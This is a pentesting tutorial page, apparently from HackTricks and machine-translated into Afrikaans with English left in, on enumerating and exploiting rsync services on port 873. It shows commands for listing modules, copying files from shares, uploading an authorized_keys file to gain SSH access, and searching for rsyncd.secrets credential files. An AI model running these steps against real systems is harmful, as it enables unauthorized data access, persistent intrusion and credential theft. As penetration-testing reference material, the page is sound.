873 - Pentesting Rsync

Reading time: 4 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Basiese Inligting

From wikipedia:

rsync is 'n nut vir doeltreffende transferring en synchronizing files tussen 'n rekenaar en 'n eksterne hardeskyf en oor networked computers deur die modification times en groottes van lĂȘers te vergelyk.[3] Dit word algemeen op Unix-like operating systems aangetref. Die rsync-algoritme is 'n tipe van delta encoding, en word gebruik om netwerkgebruik te minimaliseer. Zlib kan gebruik word vir addisionele data compression,[3] en SSH of stunnel kan gebruik word vir sekuriteit.

Standaard poort: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Opname

Banier & Handmatige kommunikasie

bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Opname van Gedeelde Mappe

Rsync modules word erken as gedeelde gidse wat moontlik met wagwoorde beskerm is. Om beskikbare modules te identifiseer en te kyk of hulle wagwoorde benodig, word die volgende opdragte gebruik:

bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Wees bewus dat sommige gedeeltes dalk nie in die lys verskyn nie, wat hulle moontlik verberg. Daarbenewens kan toegang tot sommige gedeeltes beperk wees tot spesifieke akkrediteer wat aangedui word deur 'n "Toegang Weier" boodskap.

Brute Force

Handmatige Rsync Gebruik

Na die verkryging van 'n module lys, hang aksies af van of verifikasie nodig is. Sonder verifikasie kan lys en kopieer van lĂȘers van 'n gedeelde gids na 'n plaaslike gids bereik word deur:

bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Hierdie proses herhalend oordra lĂȘers, terwyl hulle se attributes en toestemmings behou word.

Met akkrediteeringe kan lys en aflaai van 'n gedeelde gids soos volg gedoen word, waar 'n wagwoordprompt sal verskyn:

bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

Om inhoud op te laai, soos 'n authorized_keys lĂȘer vir toegang, gebruik:

bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

Om die rsyncd konfigurasie lĂȘer te vind, voer uit:

bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

Binne hierdie lĂȘer kan 'n secrets file parameter na 'n lĂȘer verwys wat gebruikersname en wagwoorde vir rsyncd outentisering bevat.

Verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks